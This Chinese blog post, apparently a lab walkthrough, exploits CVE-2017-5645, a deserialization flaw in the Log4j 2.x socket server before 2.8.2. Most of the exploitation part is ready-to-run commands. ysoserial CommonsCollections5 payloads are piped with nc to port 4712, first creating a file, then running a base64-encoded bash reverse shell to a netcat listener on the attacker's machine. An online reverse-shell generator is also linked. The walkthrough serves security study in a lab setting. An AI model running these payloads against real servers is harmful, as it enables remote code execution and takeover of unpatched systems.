Apache Log4j Server 反序列化【CVE-2017-5645】
Apache Log4j Server 反序列化【CVE-2017-5645】
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句,这些打印语句可以输出到控制台或文件中,比较好的做法就是构造一个日志操作类来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。 Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。 Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。
漏洞影响版本:Apache Log4j 2.8.2之前的2.x版本
环境搭建
环境启动后,将在4712端口开启一个TCPServer。
漏洞验证
打开攻击机kali,使用ysoserial
生成payload,然后直接发送给192.168.2.100:4712
端口即可
ysoserial:https://github.com/frohoff/ysoserial
下载后使用maven打包成jar文件进行使用,也可以直接下载jar包
首先进入容器中,查看tmp/目录下的文件
执行命令:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.2.100 4712
再次查看/tmp/目录
可以发现创建文件的命令得到执行
反弹shell
打开在线生成shell的网站:
https://forum.ywhack.com/shell.php
输入kali攻击机的ip地址以及对应的端口,就能够在线生成shell,我们复制第一个shell
然后,我们将生成的shell进行base64加密,将加密的结果复制
在攻击机kali中建立监听
nc -lvvp 6666
重新打开一个终端,输入命令
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTA0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 192.168.2.100 4712 
返回监听窗口,发现反弹shell成功,能够正确执行命令
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix